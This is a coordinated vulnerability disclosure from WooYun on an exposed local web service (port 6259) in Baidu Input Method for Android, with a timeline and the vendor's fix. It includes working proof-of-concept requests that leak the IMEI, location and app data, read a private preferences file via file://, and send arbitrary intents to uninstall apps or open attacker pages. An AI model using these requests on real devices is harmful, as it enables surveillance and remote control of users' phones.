漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2015-0145365
漏洞标题:百度输入法安卓版存在远程获取信息控制用户行为漏洞(可恶意推入内容等4G网络内可找到目标)
相关厂商:百度
漏洞作者: 瘦蛟舞
提交时间:2015-10-08 16:47
修复时间:2016-01-11 15:32
公开时间:2016-01-11 15:32
漏洞类型:远程代码执行
危害等级:高
自评Rank:10
漏洞状态:厂商已经确认
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2015-10-08: 细节已通知厂商并且等待厂商处理中
2015-10-08: 厂商已经确认,细节仅向厂商公开
2015-10-11: 细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航)
2015-12-02: 细节向核心白帽子及相关领域专家公开
2015-12-12: 细节向普通白帽子公开
2015-12-22: 细节向实习白帽子公开
2016-01-11: 细节向公众公开
简要描述:
百度输入法安卓版存在远程获取信息控制用户行为漏洞(可恶意推入内容等4G网络内可找到目标)
详细说明:
通过 netstat 发现百度输入一直监听6259端口
通过逆向分析app 发现6259提供一个 web 服务
该 web 服务通过截取 url 中字符串取得命令执行实现类
对请求的 referrer 进行了验证.所以在伪造这个请求的时候得加上百度或者 hao123的 referrer
漏洞证明:
获取应用信息
:6259/getpackageinfo?callback=123&packagename=com
获取 imei (倒序)
其中还有一个比较有意思的功能,远程发送 intent
从代码代码来看百度输入通过Intent.parseUri()来解析远程发送的 intent 信息之后再进行查询.匹配到正确的 intent 后执行打开 activity 或者 发送广播的操作
intent-based URI基本语法如下:
因为是在url 中,poc 构造完后需要对其进行 urlencode
POC的构造可以参考 android 源码对此函数的处理
https://code.google.com/p/android-source-browsing/source/browse/core/java/android/content/Intent.java?repo=platform--frameworks--base#6514
也可以参考 drops 的文章
http://drops.wooyun.org/papers/2893
通过这个功能能达到哪些攻击效果了
- 打开钓鱼页面/广告页面/恶意 apk 页面
- 打开浏览器利用 webview 的 UXSS 和代码执行等漏洞进行攻击 (和系统版本有关)
- 因为intent 是出自 app 自身所以不考虑跨进程的问题,直接访问一些未导出的组件进行攻击
- 恶意消耗用户流量/电量/干扰用户
打开输入法内置浏览器
192.168.1.102:6259/sendintent?callback=123&intent=intent%3A%23Intent%3Bcomponent%3Dcom.baidu.input%2f.ImeWebBrowseActivity%3BS.url%3Dhttp%3A%2f%2fuxss.sinaapp.com%3BS.name%3Dtest%3Bend%3B
此 activity 在配置文件导出设置为 false,但是因为是本进程内发起的 start 可以无视
本地域访问权限也是开着的
http://192.168.1.102:6259/sendintent?callback=123&intent=intent%3A%23Intent%3Bcomponent%3Dcom.baidu.input%2f.ImeWebBrowseActivity%3BS.url%3Dfile%3A%2f%2f%2fdata%2fdata%2fcom.baidu.input%2fshared_prefs%2ftj.xml%3BS.name%3Dtest%3Bend%3B
打开系统浏览器
192.0.0.188:6259/sendintent?callback=123&intent=intent%3Ahttp%3A%2f%2fdrops.wooyun.org%2fwebview.html%23Intent%3Baction%3Dandroid.intent.action.VIEW%3Bend
打开照相机
192.0.0.188:6259/sendintent?callback=123&intent=intent%3A%23Intent%3Baction%3Dandroid.media.action.STILL_IMAGE_CAMERA%3Bend
卸载 app
intent:package:org.wooyun.hiwooyun#Intent;action=android.intent.action.DELETE;end
新建短信
intent:smsto:10000#Intent;action=android.intent.action.SENDTO;end
新建联系人
intent:#Intent;action=android.intent.action.INSERT_OR_EDIT;S.name=magic;S.phone=+8610000;i.phone_type=2;type=vnd.android.cursor.item/person;end
小视频有些大,还是算了.给个 intent 的监控图吧....
扫描自己手机4G 联网下一个 C 段的6259端口情况如下
---
其他功能:
获取联网方式
192.0.0.188:6259/getapn?callback=123
获取某字符串
192.0.0.188:6259/getlocstring?callback=123
获取服务信息
192.0.0.188:6259/getserviceinfo?callback=123
定位
192.0.0.188:6259/geolocation?callback=012&timeout=1&error=0
搜索信息
192.0.0.188:6259/getsearchboxinfo?callback=123
下载信息
192.0.0.188:6259/scandownloadfile?callback=123&apkfilelength=1&apkfilename=test.apk&apkpackagename=com.baidu.input&apkexpiredtime=10&scanedexpiredtime=10&scanedonetime=1
修复方案:
版权声明:转载请注明来源 瘦蛟舞@乌云
漏洞回应
厂商回应:
危害等级:高
漏洞Rank:20
确认时间:2015-10-08 18:35
厂商回复:
感谢提交,漏洞分析很详细!赞!
最新状态:
2015-10-22:百度输入法最新版本中已经修复该漏洞,即将发布。